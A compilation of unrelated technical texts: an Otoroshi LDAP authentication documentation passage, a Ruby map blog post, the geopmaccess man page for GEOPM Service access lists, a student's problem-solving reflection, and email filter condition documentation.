Conversely, John can’t see any configuration pages (like the danger zone) because he has only the read rights on Otoroshi.
You can easily test this behaviour by testing with both credentials.
Advanced usage of LDAP Authentication
In the previous section, we have define rights for each LDAP groups. But in some case, we want to have a finer granularity like set rights for a specific user. The last 4 fields of the authentication form cover this.
Let’s start by adding few properties for each connected users with Extra metadata
.
// Add this configuration in extra metadata part
{
"provider": "OpenLDAP"
}
The next field Data override
is merged with extra metadata when a user connects to a private app
or to the UI (inside Otoroshi, private app is a service secure by any authentication module). The Email field name
is configured to match with the mail
field from LDAP user data.
{
<EMAIL_ADDRESS>{
"stage_name": "Will"
}
}
If you try to connect to an app with this configuration, the user result profile should be :
{
...,
"metadata": {
"lastname": "Willy",
"stage_name": "Will"
}
}
Let’s try to increase the John rights with the Additional rights group
.
This field supports the creation of virtual groups. A virtual group is composed of a list of users and a list of rights for each teams/organizations.
// increase_john_rights is a virtual group which adds full access rights at john
{
"increase_john_rights": {
"rights": [
{
"tenant": "*:rw",
"teams": [
"*:rw"
]
}
],
"users": [
<EMAIL_ADDRESS>]
}
}
The last field Rights override
is useful when you want erase the rights of an user with only specific rights. This field is the last to be applied on the user rights.
To resume, when John connects to Otoroshi, he receives the rights to only read the default Organization (from Mapping group filter), then he is promote to administrator role (from Additional rights group) and finally his rights are reset with the last field Rights override to the read rights.
{
<EMAIL_ADDRESS>[
{
"tenant": "*:r",
"teams": [
"*:r"
]
}
]
}


Enumerable Methods: Map
July 18, 2015
map {|obj| block} ==> array
The ruby docs exlain that the map method "returns a new array with the results of running block once for every element in enum
What does this mean? Say we have an array:
array = [2, 2, 2, 2]
Suppose we want to add 1 to every element of the array. We could use the map method to accomplish this:
array.map {|obj| obj + 1}
In other words, map allows us to iterate over each element of an array, and transform each element of the array by applying a specific operation to it as specified by block
One distinction to make is between "map" and "map!". "map" will not modify the original array and will instead return a new array with the modified values "map!" will modify the original array.


geopmaccess(1) – Access management for the GEOPM Service
Synopsis
Read Access List
geopmaccess [-c] [-u | -g GROUP | -a]
Write Access List
geopmaccess -w [-c] [-g GROUP] [-n | -f]
Edit Access List
geopmaccess -e [-c] [-g GROUP]
Remove Access List
geopmaccess -D [-c] [-g GROUP]
Get Help or Version
geopmaccess -h | -v
Description
The GEOPM service uses the /etc/geopm-service
directory to store
files that control which signals and controls may be accessed by a
user through the service. The purpose of the geopmaccess
command
line tool is to enable reading and writing of these access list files.
Options
- -c, --controls
Command applies to controls not signals
- -u, --default
Print the default user access list
- -g, --group
Read or write the access list for a specific Unix GROUP
- -a, --all
Print all signals or controls supported by the service system
- -w, --write
Use standard input to write an access list
- -e, --edit
Edit an access list using EDITOR environment variable, default
vi
- -D, --delete
Remove an access list for default user or a particular Unix Group
- -n, --dry-run
Do error checking on all user input, but do not modify configuration files
- -F, --force
Write access list without validating GEOPM Service support for names
- -h, --help
Print brief summary of the command line usage information, then exit
- -v, --version
Print version of geopm(7) to standard output, then exit
Query Access
The default behavior of geopmaccess
when no options are provided
is to print the list of signals that the calling user has permissions
to read through the GEOPM Service. This command is used by a GEOPM
service client to discover which signals they have permission to read
based on the configuration set by the system administrator. All
supported signals or controls are printed when called by a root user.
All geopmaccess
commands refer to reading or writing signal access
lists by default. To specify that the command should instead refer to
the access lists for controls, the -c
/ --controls
option must
be provided. For example, when the -c
option is provided without
any other options, the list of controls that may be configured by the
calling user is printed.
By convention, all control settings can be read by requesting the signal that shares the same name as the control. Note that when adding a control name to the access list for writing, the administrator is implicitly providing read access to the control setting as well.
All users of the system will have access to the signals and controls
determined by the “default access list.” The default access list may
be read by specifying the -u
/ --user
option. These
permissions are extended for each user based on Unix user group
membership. Each Unix group on the system may have GEOPM Service
signal and control access lists associated with it. To read or write
the access list for a particular Unix user group, the -g
or
--group
option must be specified.
Access Management
Reading access lists may be done by an unprivileged client or by the
system administrator, but only a process with the Linux
capabilities(7)
CAP_SYS_ADMIN
has permission to write or delete an access list.
Typically is done by the root user or with the sudo
command. The
administrator may execute geopmaccess
to write to an access list
by providing the -w
/ --write
command line option. The -D
/ --delete
option will remove all signals or controls from the
configuration. An access list can be modified in a text editor when
the -e
/ --edit
option is provided.
When writing an access list with the -w
/ --write
command line
option, the list of names is provided to standard input. Typically,
this is piped in from an existing file. When the -e
/ --edit
option is provided, the existing access list is opened in an editor
for modification. The default editor is vi
but the user may
override this with the EDITOR
environment variable.
The access list created is derived from standard input or the edited
file by reading one name per line. Standard input lines that begin
with the #
character are ignored, and an empty line or EOF
(end of file) will cause parsing of standard input to stop.
Note that the -a
/ --all
options are not valid when writing,
editing, or deleting an access list. The default access list will be
written or deleted if the -g
/ --group
option is not
specified. This differs from the default behavior when reading an
access list: the default behavior when writing equivalent to the
-u
/ --default
option when reading.
Examples
Some examples of how to use the geopmaccess
command line tool are
provided.
Reading the Access Lists
The signals and controls provided by the GEOPM Service depend on which Linux features are available, i.e. which device drivers are loaded, how they are configured, and what hardware is installed. The service may be extended with IOGroup plugins which may augment the signals and controls available through the service.
The geopmaccess
commandline tool can be used to discover which
signals and controls are provided by the GEOPM Service on your system.
# PRINT ALLOWED SIGNALS FOR CALLING USER
geopmaccess
# PRINT ALLOWED CONTROLS FOR CALLING USER
geopmaccess --controls
# PRINT ALL SIGNALS PROVIDED
geopmaccess --all
# PRINT ALL CONTROLS PROVIDED
geopmaccess --all --controls
# PRINT DEFAULT SIGNAL ACCESS LIST
geopmaccess --default
# PRINT DEFAULT CONTROL ACCESS LIST
geopmaccess --default --controls
# PRINT SIGNAL ACCESS FOR UNIX GROUP "power"
geopmaccess --group power
# PRINT CONTROL ACCESS FOR UNIX GROUP "power"
geopmaccess --controls --group power
Enabling User Access
This example configures the GEOPM Service to enable any user to read
and write to bits 8-15 of the MSR_PERF_CTL register which controls the
maximum frequency of the core. This could also be accomplished
interactively using the -e
/ --edit
option.
# NAME OF CONTROL
CONTROL=MSR::PERF_CTL:FREQ
# CREATE TEMPORARY FILES
ACCESS_SIGNALS=$(mktemp)
ACCESS_CONTROLS=$(mktemp)
# SAVE INITIAL ACCESS SETTINGS
geopmaccess > ${ACCESS_SIGNALS}
geopmaccess --controls > ${ACCESS_CONTROLS}
# ADD THE CONTROL INTO ACCESS LIST FOR READING AND WRITING
echo ${CONTROL} >> ${ACCESS_SIGNALS}
echo ${CONTROL} >> ${ACCESS_CONTROLS}
geopmaccess --write < ${ACCESS_SIGNALS}
geopmaccess --write --controls < ${ACCESS_CONTROLS}
# CLEAN UP TEMPORARY FILES
rm ${ACCESS_SIGNALS} ${ACCESS_CONTROLS}
Enabling Group Access
As an administrator you may want to enable access to a signal or
control for a subset of your users. This can be accomplished by
creating a Unix user group containing the users that should be
provided this privilege. This mechanism may also be used to extend
permissions for one particular user if the user-name-specific group is
provided. This can also be accomplished interactively using the
-e
/ --edit
option.
# NAME OF SIGNAL
SIGNAL=CPU_INSTRUCTIONS_RETIRED
# NAME OF UNIX GROUP
GROUP_NAME=perf
# CREATE A TEMPORARY FILE
ACCESS_SIGNALS=$(mktemp)
# SAVE INITIAL ACCESS SETTINGS
geopmaccess --group ${GROUP_NAME} > ${ACCESS_SIGNALS}
# ADD THE SIGNAL INTO ACCESS LIST FOR READING
echo ${SIGNAL} >> ${ACCESS_SIGNALS}
geopmaccess --group ${GROUP_NAME} --write < ${ACCESS_SIGNALS}
# CLEAN UP TEMPORARY FILE
rm ${ACCESS_SIGNALS}
Another example of using group permissions is to create a Unix group called “geopm” that is granted access to all signals and controls that are enabled on the system. Users that should be granted full use of the service can then be added to the geopm Unix group.
# NAME OF UNIX GROUP
GROUP_NAME=geopm
# CREATE "geopm" GROUP
groupadd ${GROUP_NAME}
# ENABLE GROUP TO READ ALL AVAILABLE SIGNALS
geopmaccess -a | geopmaccess -g ${GROUP_NAME} -w
# ENABLE GROUP TO WRITE ALL AVAILABLE CONTROLS
geopmaccess -a -c | geopmaccess -g ${GROUP_NAME} -w -c
Supporting Heterogeneous Clusters
This example demonstrates how to create and check access lists when
the /etc/geopm-service
directory must be modified on a system with
incomplete support for signals and controls.
In this example, the access lists created contain all signals and controls supported by two different systems. Similar steps would be followed if the input lists were derived in a different way. This example also shows how to validate access lists on multiple systems and combine access lists when writing to a shared mount point.
# Log onto one of the systems
ssh system1
# Create a lists of signals and controls on shared mount
geopmaccess --all > system1-signals.txt
geopmaccess --all --controls > system1-controls.txt
# Check validity of created lists
geopmaccess --write --dry-run < system1-signals.txt
geopmaccess --write --controls --dry-run < system1-controls.txt
# Log onto a system with non-overlapping support
ssh system2
# Create lists of signals and controls on shared mount
geopmaccess --all > system2-signals.txt
geopmaccess --all --controls > system2-controls.txt
# Check validity of created lists
geopmaccess --write --dry-run < system2-signals.txt
geopmaccess --write --controls --dry-run < system2-controls.txt
# Log onto node where /etc/geopm-service is writable
ssh admin-system
# Combine the created lists, duplicates are okay
cat system1-signals.txt system2-signals.txt > all-signals.txt
cat system1-controls.txt system2-controls.txt > all-controls.txt
# Modify configuration without checking names
sudo geopmaccess --write --force < all-signals.txt
sudo geopmaccess --write --controls --force < all-controls.txt
Exit Status
The geopmaccess
command will return 0 upon success and -1 on
failure. For all failures, an error message describing the failure
will be printed. Setting the GEOPM_DEBUG
environment variable
will enable more verbose error messages.
Use of the geopmaccess
command line tool requires the GEOPM
Service systemd unit to be active. This can be checked with the
command systemctl status geopm
. A failure will occur if the GEOPM
Service is not active.
Modification of access lists is typically is done by the root user or
with the sudo
command. A process is required to have the Linux
capabilities(7)
CAP_SYS_ADMIN
in order to modify any access lists, and a failure
will occur otherwise.
Some command line options cannot be used together, for example, a
failure will occur if the user specifies both --all
and
--write
.
Attempts to set configurations using unsupported names will fail
unless the -F
/ --force
option is provided.
See Also
geopm(7), geopmread(1), geopmwrite(1), geopmsession(1), geopm_pio(7)


Back when I was in college, I had to make a quiz game using python for an assessment.
I couldnt figure out for the life of me how to get different function to link to seperate functions so after an hour of trying many things I thought of taking this to the internet.
But first taking a littke break to clear my head, then when I got back I spent the next 10 minutes looking for a way to do this and after finding something that might help I tried it with my situation and I almost instantly thought of an idea to fix my problem, but I also found a way to improve my code.
What was the problem?
The problem ending up being that I hadnt actually group most things together in class, so once I did that and added a class I was able to link to other functions and connect things together a whole lot easier.
What problem soving techniques did you use?
I first used just trying differnt things in the code and seeing what I could think of, but after that didnt work I took a break to clear my head and tried just googling it. I also ued thee rubber ducky method talking to a friend to think aloud and it just came to me.
How did you feel thoughout the process?
I knew that I would be able to figure it so once I got in the zone and really wanted to figure it out myself using my own techniques, I was feeling fine like I knew I had to figure it out and that helped me figure it out.
What did you learn?
I learnt that its good to take a break once and a while to clear your head and that speaking the problem aloud really helps, along with finding out about classes and how use them.
How confident am I using different Problem Solving techniques and process
Pseudocode
I am confident with this technique but I just choose not to use it
Trying something
This technique is always my first to use and try and see if I do know it but just cant think of it
Rubber ducky method
I like to use this method if not manye other methods are working are using really helps
Reading error messages
I have got quite good and getting the answer from the error message and is quite usefull
Console logging
I am confident with logging and I do think its a useful one but I just don't use it much
Googling
This technique I dont usually think of it as a technique I just do this when im stuck
Asking your peers for help
This can sometimes help, if they know more the better but usually not too much but unless its small or connected to something they have done
Asking coaches for help
This usually helps 100% of the time and give tips and be very useful if stuck but unless they are terrible at coaching you
Improving your process with reflection
I have only resently started doing this with starting this course but I love it and will continue to use to help remember the problem and conclude it


Filter Conditions
A filter can contain one or more conditions. For example, if someone sends you email messages from more than one email address and you want to direct all messages from the person into one folder, you can create one filter that has two conditions, one for each email address, and one action to move the email messages to the same folder.
The order of the conditions is not important. You can select whether the email message must match all conditions or just meet any one of the listed conditions. You can also use a negative condition. For example, you can filter an email message that does not contain a particular word. Filter conditions are not case-sensitive.
A filter condition can be based on the following:
• Specific email addresses in the From, To, or Cc fields
• Email messages that are under or over a specific size
• Dates
• Presence or absence of file attachments
• Words in the message subject or body
• Calendar invitation
Filtering Using Any Versus All
Conditions within a filter rule can be grouped using Any or All. The use of these terms is similar to the "AND" versus "OR" type searches described under the Search feature, with Any being OR and All being AND.
If you select Any when defining conditions for a new filter rule, then a message that meets any one of the conditions is considered a match. However, if you select All, every condition specified in that filter rule must apply in order for that message to match the filter.
Filtering Using Contains, Matches, and Is options
Three of the comparison methods for filter conditions are Contains, Matches pattern, and Matches Exactly. These options appear for some items such as the subject line.
• Contains means that the specified line must contain, somewhere within it, the specified string. For example, specifying that the subject line contains "bananas" would match both "Cooking with bananas" and "Bananas for breakfast".
• Matches pattern means that the specified line must match the specified string, which includes wildcards. For example, specifying " bana*" would match "banana" and "banana tree but not "free bananas".
• Is means that the specified line must exactly match the specified string, with no wildcards or substitutions. For example, specifying that the subject line must match "bananas" would only match "bananas" and not "Banana", "My bananas", or "Bananas?"